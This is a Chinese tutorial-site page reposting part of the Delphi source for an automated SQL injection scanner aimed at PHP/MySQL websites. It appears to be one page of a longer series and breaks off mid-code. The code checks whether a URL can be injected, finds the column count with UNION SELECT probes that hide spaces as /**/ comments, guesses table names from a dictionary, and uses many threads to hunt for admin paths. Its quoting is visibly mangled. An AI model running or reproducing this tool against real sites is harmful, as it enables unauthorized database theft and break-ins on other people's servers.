转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> MySql >> 正文
PHP+MYSQL网站注入扫描         ★★★★

PHP+MYSQL网站注入扫描

作者:闵涛 文章来源:闵涛的学习笔记 点击数:6085 更新时间:2009/4/22 20:48:41
dure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
isFinish :=true;
{ if N>=lsbDict.Count then exit;
for i:=N to lsbDict.Count-1 do
begin
  if scanField.FreeOnTerminate then
  begin
    scanField
.Suspend;
    scanField
.Free;
  end;
end;
MM.Lines.Add('''''''');
MM.Lines.Add(''''字段猜解结束。。。'''');   }
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
i,iPos,Sum:integer;
begin
if isFinish=false then
begin
  Url :=trim(EdtInjUrl.Text);
  if pos(''''http://'''',Url)>0 then
  begin
    Url :=copy(Url,8,length(Url)-7);
    iPos :=pos(''''/'''',Url)
  end else
    iPos :=pos(''''/'''',Url);
  Url :=''''http://''''+copy(Url,1,iPos-1);
  if Url='''''''' then exit;
 
  lsbDict.Items.Clear;
  ListBox1.Items.Clear;
  MM.Lines.Clear;
  M :=0;
  lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+''''Dict_Manager.txt'''');
  Sum :=lsbDict.Count;
  pg1.Min :=0;
  pg1.Max :=sum;
  pg1.Step :=1;
  pg1.Position :=0;
  pg1.Visible :=true;
  MM.Lines.Add(''''开始猜解后台路径。。。'''');
  MM.Lines.Add('''''''');
  SetLength(scanManager,Sum);   // 动态设置线程的数量
  ////开始扫描后台路径
  for i:=0 to Sum-1 do
  begin
    scanManager
:= scanManagerThread.Create(Url,i,ListBox1,MM);
    scanManager
.OnTerminate := ManagerThreadExit;
  end;
end;

if isFinish=true then
begin
  try
    for i:=M to lsbDict.Count-1 do
    begin
    if scanManager
.FreeOnTerminate then
    begin
      scanManager
.Suspend;
      scanManager
.Free;
    end;
    end;
    MM.Lines.Add('''''''');
    MM.Lines.Add(''''后台路径猜解结束。。。'''');
  except
  end;
end;
isFinish :=true;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
inc(M);
pg1.StepIt;
if M = lsbDict.Count then
begin
  isFinish :=true;
  MM.Lines.Add('''''''');
  MM.Lines.Add(''''后台路径猜解结束。。。'''');
  pg1.Visible :=False;
  exit;
end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
isFinish :=false;
{ if M>=lsbDict.Count then exit;
try
  for i:=M to lsbDict.Count-1 do
  begin
    if scanManager
.FreeOnTerminate then
    begin
    scanManager
.Suspend;
    scanManager
.Free;
    end;
  end;
  MM.Lines.Add('''''''');
  MM.Lines.Add(''''后台路径猜解结束。。。'''');
except
end; }
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
wb.Navigate(ListBox1.Items.GetText);
pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
pg1 :=TProgressBar.Create(nil);
pg1.Parent :=StatusBar1;
pg1.Height :=StatusBar1.Height;
pg1.Width :=StatusBar1.Width;
pg1.Visible :=False;
end;

end.


unit Unit2;

interface

uses
Classes,StdCtrls,Windows,SysUtils,ComCtrls,IdHTTP;

var
CS:TRTLCriticalSection;   //定义全局临界区

type
//扫描网站是否可以注入及当前注入点对应表字段数线程类
scanThread = class(TThread)
protected
  FUrl,InjUrl,FStr: string; //要注入的网站地址
  FKeyWord: string; //关键字
  FState: boolean;
  FMemo: TMemo;
  FListView: TListView;
  FNum: Integer;
  FTable,FValue :string;
  procedure Execute; override;
public
  //constructor Create(Url,KeyWord:string;Memo:TMemo);
end;
//扫描表段注入线程类
scanTableThread = class(scanThread)
private
  procedure scanTableResult;
protected
  procedure Execute; override;
public
  constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
end;
//扫描字段注入线程类
scanFieldThread = class(scanThread)
private
  procedure scanFieldResult;
protected
  procedure Execute; override;
public
  constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
end;

function Get(URL,Key: string): boolean;

var
stoped:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
  try
    idhttp.HandleRedirects:= true;   //必须支持重定向否则可能出错
    idhttp.ReadTimeout:= 30000;     //超过这个时间则不再访问
    ss:= IDHTTP.Get(URL);
    if Key='''''''' then
    begin
    if IDHTTP.ResponseCode=200 then
      Result :=true;
    end else
    begin
    if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
      Result :=true;
    end;
  except
  end;
finally
  IDHTTP.Free;
end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FreeOnTerminate := True; // 自动删除
inherited Create(False); // 直接运行
end;}

procedure scanThread.Execute;
var
i:integer;
iStr:string;
begin
FMemo :=Form1.MM;
FUrl :=trim(Form1.EdtInjUrl.Text);
FKeyWord :=trim(Form1.EdtKey.Text);
FMemo.Lines.Clear;
FMemo.Lines.Add(''''正在检测注入点是否可用。。。'''');
if (not Get(FUrl,'''''''')) or (not Get(FUrl+''''/**/and/**/1=1/*'''',''''''''))
    or (not Get(FUrl+''''/**/and/**/1=2/*'''','''''''')) then
begin
  FMemo.Lines.Add(''''注入点不可用,猜解终止!'''');
  exit;
end;
//开始猜解字段数目
i:=1;
iStr:=''''1'''';
FState :=False;
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''开始猜解字段数目。。。'''');
FMemo.Lines.Add('''''''');
while not FState do
begin
  inc(i);
  if i>30 then
  begin
    FMemo.Lines.Add(''''最大猜解字段数大于30,猜解终止!'''');
    FState :=True;
    exit;
  end;
  iStr:=iStr+'''',''''+IntToStr(i);
  InjUrl :=FUrl+''''/**/and/**/1=1/**/union/**/select/**/''''+iStr+''''/*'''';
  FMemo.Lines.Add(InjUrl);
  if Get(InjUrl,FKeyWord) then
  begin
    FState :=True;
    FMemo.Lines.Add('''''''');
    FMemo.Lines.Add(''''字段数目猜解结束!共找到''''+IntToStr(i)+''''个字段。'''');
    Form1.EdtFieldNum.Text :=IntToStr(i);
    Form1.spNum.MaxValue :=i;
    Form1.spNum.Text :=IntToStr(i);
    Form1.spField1.MaxValue :=i;
    Form1.spField2.MaxValue :=i;
    exit;
  end;
end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
with FListView.Items.Add do
begin
  Caption :=IntToStr(FListView.Items.Count);
  SubItems.Add(FValue);
end;
end;

//在一个线程内完成表段猜解工作
procedure scanTableThread.Execute;
var i:integer;
begin
stoped :=False;
with Form1 do
begin
  pg1.Min :=0;
  pg1.Max :=Form1.lsbDict.Count;
  pg1.Step :=1;
  pg1.Position :=0;
  pg1.Visible :=true;
end;
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''开始猜解表段。。。'''');
FMemo.Lines.Add('''''''');
for i:=0 to Form1.lsbDict.Count-1 do
begin
  if stoped then
  begin
    FMemo.Lines.Add('''''''');
  FMemo.Lines.Add(''''表段猜解结束。。。'''');
  Form1.pg1.Visible :=False;
  exit;
  end;
  FValue :=Form1.lsbDict.Items
;
  if FValue='''''''' then Continue;
  InjUrl :=FUrl+''''/**/and/**/1=1/**/union/**/select/**/''''+FStr+''''/**/from/**/''''+FValue+''''/*'''';
  FMemo.Lines.Add(InjUrl);
  Form1.pg1.StepIt;
  if Get(InjUrl,FKeyWord) then
  begin
    Synchronize(scanTableResult); //同步
  end;
end;
FMemo.Lines.Add('''''''');
FMemo.Lines.Add(''''表段猜解结束。。。'''');
Form1.pg1.Visible :=False;
LeaveCriticalSection(CS); //退出临界区
sleep(20); // 线程挂起;
end;

//创建多个线程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FTable :=Table;
FNum :=Num;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanFieldThread.scanFieldRes

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 


[MySql]PHP存取 Mysql 数据乱码终极解决方案  [MySql]解决Table xxx is marked as crashed and should …
[MySql][MySQL]快速解决"is marked as crashed and shoul…  [MySql]MySQL DELETE语法用法详解
[MySql]mysql中时间日期格式化  [MySql]修改mysql导入文件大小限制
[其他]MySql常用命令大全  [Web开发]把ACCESS的数据导入到Mysql中的方法详解
[MySql]解决mysql 1040错误Too many connections的方法  [系统软件]利用crontab系统每天定时备份MySQL数据库
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台